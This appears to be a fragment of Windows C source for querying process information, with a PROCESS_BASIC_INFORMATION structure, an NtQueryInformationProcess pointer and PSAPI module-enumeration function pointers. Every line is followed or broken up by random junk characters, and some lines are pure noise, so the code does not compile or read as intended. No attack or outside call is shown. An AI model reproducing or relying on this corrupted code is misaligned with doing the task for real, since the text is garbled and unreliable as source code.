DWORD PebBaseAddress; D?\K~U* >
DWORD AffinityMask; F41!Dj7
DWORD BasePriority; P1)
80<t
ULONG UniqueProcessId; `FJnR~d
ULONG InheritedFromUniqueProcessId; fr#lH3
} PROCESS_BASIC_INFORMATION; `8dE8:#Y
Xp} vJl
PROCNTQSIP NtQueryInformationProcess; ~#a1]w
@IiT8B
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HnP;1Gi
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oLr"8R\d>t
Km <Wh=
HANDLE hProcess; GmL |7 6
PROCESS_BASIC_INFORMATION pbi; jm-0]ugY&`
0dcXgP
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {my=Li<